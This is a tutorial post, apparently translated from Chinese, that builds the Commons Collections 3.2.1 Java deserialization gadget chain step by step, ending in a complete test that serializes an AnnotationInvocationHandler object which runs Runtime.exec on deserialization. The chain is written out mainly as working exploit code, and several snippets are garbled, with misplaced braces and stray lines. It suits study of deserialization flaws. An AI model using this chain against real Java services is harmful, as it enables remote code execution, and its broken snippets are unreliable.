CC chain
Java deserialization
Environment requirements
CommonsCollections <= 3.2.1
java < 8u71 (I use)
java8u65
The environment link is not placed first, and a very神奇的事情 happened when configuring the environment:
Below is the Oracle Java8 archive address, it is really amazing, the first link is in Chinese, when you useCtrl + F
to findjava8u65
When downloading java8u111 for the (8th version, 65th update), I thought it was wrong because there was only one, and after trying several times, none of them were correct.
https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
Since it only uses java to run, there is no need to configure the environment variables, just modify the interpreter directory in the project structure of idea when configuring the environment.
In addition, you need to configure the source code
https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
Download the compressed package from the left sidebar, open the compressed package, and find the following directory
Unzip the directory \src\share\classes\sun
Copy the contents of the sun package to the src directory of java8u65, by default there is no src directory. Unzip the src.zip file in the directory, import the src directory in the idea project structure sourcepath.
CommonsCollections
Create a Maven project in idea, add it to the pom.xml configuration file, and.junit is used for testing.
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.13.2</version>
<scope>test</scope>
</dependency>
</dependencies>
The environment configuration is complete, should there be no more? .
The chain given by ysoserial
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
Don't worry if you don't understand, don't panic when you encounter problems. Take it step by step.
InvokerTransformer.transform()
findorg.apache.commons.collections.transformer
interface
public interface Transformer {
public Object transform(Object input);
}
ctrl + alt + b
orctrl + h
search for the inherited class downwards
find aorg.apache.commons.collections.functors.InvokerTransformer
of the class
InvokerTransformer.java implements the transformer interface
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
catch (InvocationTargetException ex) {
}
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
Use reflection in the try statement to attempt to call the method of the object accepted by the transform method, as it is usinggetMethod
method, so calling the public method will not report an error.
The parameters of the called function iMethodName, iParamTypes, iArgs, can all be passed in when instantiating the InvokerTransformer class.
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
public ChainedTransformer(Transformer[] transformers) {
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
We can try to execute the following command:
Runtime.getRuntime().exec("calc.exe")
Pass the Runtime.getRuntime() object to meet the following conditions.
Sort out
methodName == exec function name
Object input == Runtime.getRuntime() object to execute the function
paramTypes == String.class function parameter type
args == "calc.exe" function argument
Payload upgrade:
@Test
public void test1() throws IOException, ClassNotFoundException {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"});
invokerTransformer.transform(Runtime.getRuntime());
}
the computer pops up as successful
TranformedMap.checkSetValue()
Press alt+F7 to view usage
org.apache.commons.collections.map.TranformedMap
TranformedMap.java found three method calls totransform
method
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
protected Object transformKey(Object object) {
if (keyTransformer == null) {
object = iTransformers[i].transform(object);
}
return keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
if (valueTransformer == null) {
object = iTransformers[i].transform(object);
}
return valueTransformer.transform(object);
}
The properties of the three methods areprotected
is visible to classes within the same package and all subclasses.
Of the three methods, choose checkSetValue(), why not use the other two? The other two search for usage, but could not find a suitable calling class.
Find the place where the parameters are assigned, which is the constructor of the TransformedMap class, with the constructor attributes ofprotected
is visible to classes within the same package and all subclasses.
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
Search for other constructor methods or callsTransformedMap
method.
Find the method in the same class
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
Now we have a way to construct parameters, but we cannot callTransformedMap.checkSetValue()
method, continue to search for usage.
AbstractInputCheckedMapDecorator
AbstractInputCheckedMapDecorator.java
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
the inheritance relationship is as follows
MapEntry <= AbstractMapEntryDecorator
MapEntry
the superclass of the classAbstractMapEntryDecorator
is an abstract class, which cannot be instantiated, but can have a constructor. Here inMapEntry
the constructor method in the classsuper(entry)
is actuallyAbstractMapEntryDecorator
is the constructor method.
protected final Map.Entry entry;
public AbstractMapEntryDecorator(Map.Entry entry) {
if (entry == null) {
throw new IllegalArgumentException("Map Entry must not be null");
}
this.entry = entry;
}
Sort out
MapEntry.class == AbstractMapEntryDecorator.entry == Map.Entry.class
MapEntry.setValue(Object value)
TransformedMap.decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)
TranformedMap.checkSetValue(Object value)
invokerTransformer.transform(Object input);
valueTransformer == invokerTransformer
value == Runtime.getRuntime()
The three Objects are passed consecutively, but how does MapEntry get it?Map
throughentrySet()
The method can obtainMap.Entry
Upgrade:
@Test
public void test2() throws IOException, ClassNotFoundException {
// MapEntry.setValue() ==> TransformedMap.checkSetValue() ==> InvokerTransformer.transform()
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
// valueTransformer == invokerTransformer
Map<Object, Object> decorated = TransformedMap.decorate(hashMap, null, invokerTransformer);
for (Map.Entry<Object, Object> entry : decorated.entrySet()) {
// System.out.println(entry);
entry.setValue(Runtime.getRuntime());
}
}
the computer pops up as successful
AnnotationInvocationHandler
Continue with the old method,alt + F7
See usage.
sun.reflect.annotation.AnnotationInvocationHandler
this class just calledsetValue()
method, and it just happens thatreadObject()
method is called insetValue()
. It will be called when this class is deserialized.readObject()
method.
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
}
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
we can see that throughentrySet()
to obtainMap.Entry
when reachingsetValue()
needs to bypass two layers beforeif
judgment.
type, memberValues are parameters passed through the constructor
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
Class<? extends Annotation> type
What is it, ChatGPT
Class<? extends Annotation> can represent the Class object of any annotation
Class<? extends Annotation> annotationClass = Override.class;
Class<? extends Annotation> annotationClass2 = Deprecated.class;
But it cannot be Class<Object> or Class<String> because they are not subclasses of Annotation.
For compatibility and stability, it is recommended to use some annotations that come with Java.
if (memberType != null)
Let's try it out:
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<String, Object> decorated = TransformedMap.decorate(hashMap, null, invokerTransformer);
AnnotationType annotationType = AnnotationType.getInstance(Target.class);
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
System.out.println(memberTypes);
//Output: {value=class [Ljava.lang.annotation.ElementType;}
To bypass the first if, there must be a corresponding value in memberTypes for the key of Map.Entry.
When the key of Map.Entry is value, the value in memberTypes is class,}!= null
is true, add the following code to verify.
for (Map.Entry<String, Object> memberValue : decorated.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
System.out.println(123);}}
} else {
System.out.println("456");
}
// hashMap.put("key", "value") outputs 456
// hashMap.put("value", "value") outputs 123
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))
My head is spinning, layer by layer analysis
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))
// !(memberType.isInstance(value) || value instanceof ExceptionProxy) == True
// memberType.isInstance(value) || value instanceof ExceptionProxy == false
// memberType.isInstance(value) == false
// value instanceof ExceptionProxy == false
// value is not an instance of memberType class, nor an ExceptionProxy instance
hashMap.put("value", "value")
memberValue
is the value of Map.Entry, that is, the second"value"
.
memberType is{value=class [Ljava.lang.annotation.ElementType;}
, and"value"
is a String, no longer aExceptionProxy
instance.
Try it out: Modify the previous for loop to the current code
for (Map.Entry<String, Object> memberValue : decorated.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
System.out.println(123);}}
Object value = memberValue.getValue();
// System.out.println(memberType);
// System.out.println(value);
// System.out.println(value.getClass());
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
System.out.println("yes");
} else
System.out.println("no");
} else {
System.out.println("456");
}
}
// 123
// yes
That is, it can be executed tomemberValue.setValue()
However, the parameters are not under our control.
Does it matter whether there are parameters, as the returned value is the same Transformer?
ConstantTransformer
org.apache.commons.collections.functors.ConstantTransformer
public ConstantTransformer(Object constantToReturn) {
public ChainedTransformer(Transformer[] transformers) {
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
Sort out
MapEntry.class == AbstractMapEntryDecorator.entry == Map.Entry.class
MapEntry.setValue(Object value)
TransformedMap.decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)
TranformedMap.checkSetValue(Object value)
ConstantTransformer(Runtime.getRuntime())
ConstantTransformer.transform(Object input)
valueTransformer == ConstantTransformer
value == It does not matter
calltransform
The return value of the method is the parameter passed at instantiationconstantToReturn
, but the last one could not execute to the dangerous function
However, it was unable to execute the dangerous function at last
ChainedTransformer
The main character at last, but the brain is not enough.
org.apache.commons.collections.functors.ChainedTransformer
public ChainedTransformer(Transformer[] transformers) {
super();
}
iTransformers = transformers;
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
}
object = iTransformers[i].transform(object);
}
return object;starting from the 0th, calling each
iTransformerstransform()
.
parameter is the one from the lasttransform()
processedobject
.
We need toRuntime.getRuntime()
asinvokerTransformer.transform()
parameter, it goes back to the beginning again, 'home sweet home', home, home. So we need toConstantTransformer
As the first
ChainedTransformer.transform()
It doesn't matter what is passed as a parameter. Let's see the loop process:
First run:
iTransformers[0].transform(object);
return Runtime.getRuntime();
Second run:
invokerTransformer.transform(Runtime.getRuntime());
Can it be executed now?
It seems that everything makes sense.
Problem one
AnnotationInvocationHandler
It is of default type, visible within the same package. Reflection is needed for initialization.
@Test
public void test2_1() throws Exception {
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
InvokerTransformer invokerTransformer = new InvokerTransformer
("exec",
new Class[]{String.class},
new Object[]{"calc.exe"});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, invokerTransformer});
// Generate MapEntry
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "value");
// chainedTransformer replaced the original invokerTransformer
Map<String, Object> decorated = TransformedMap.decorate(hashMap, null, chainedTransformer);
// Instantiate AnnotationInvocationHandler
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorated);
serializable(o);
unserializable("ser.bin");
}
Problem two
Unexpected pest appeared
java.io.NotSerializableException: java.lang.Runtime
Runtime
No inheritanceSerializable
interface, so it cannot be deserialized directly.
Savior: Class can be deserialized and used by reflection again.
public final class Class<T> implements java.io.Serializable
ChainedTransformer construction
The code format is incorrect; it is just an explanation and does not need to be followed according to the code explanation.
Runtime.getRuntime().exec()
new ConstantTransformer(Runtime.class).transform()
return Runtime.class
//Execute "getMethod" to obtain "getRuntime()" of Runtime.class
invokerTransformer.transform(Runtime.class)
return Method Runtime.getRuntime()
The return is an object of the Method class
//Use Invoke to call Runtime.getRuntime()
invokerTransformer.transform(Method Runtime.getRuntime())
return Method Runtime.getRuntime().invoke();
//Execute Runtime.getRuntime().exec(). The parameters are passed through the returned result, namely:
currentRuntime;
//Execute exec()
invokerTransformer.transform(currentRuntime);
Execute currentRuntime.exec(), which is equivalent to Runtime.getRuntime().exec(). The parameters are passed through when InvokerTransformer is instantiated.
It should be noted that when instantiating InvokerTransformer, the parameters are in the following order:
iMethodName iParamTypes iArgs
Method name Type of parameters passed to the method Parameters passed to the method
Complete code
@Test
public void test2_1() throws Exception {
// Class<Runtime> clazz = Runtime.class;
//
// Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
// Object o = getRuntimeMethod.invoke(null, null);
//
// Method execMethod = clazz.getMethod("exec", String.class);
// execMethod.invoke(o, "calc.exe");
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
// Class<Runtime> clazz
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
// Get Method getRuntimeMethod
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
// Get Object o
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "value");
// valueTransformer == invokerTransformer
Map<String, Object> decorated = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorated);
serializable(o);
unserializable("ser.bin");
}
Comments are for one's own understanding of the process.
0x03. The setValue() method in AbstractInputCheckedMapDecorator
2.1. Obtain the password of the optical network terminal super administrator account (telecomadmin)
php hiring challenge question in hacker earth(How to take input?)
Full-patch domain forest collapsed in 5 seconds? Trust avalanche after encryption upgrade.

评论已关闭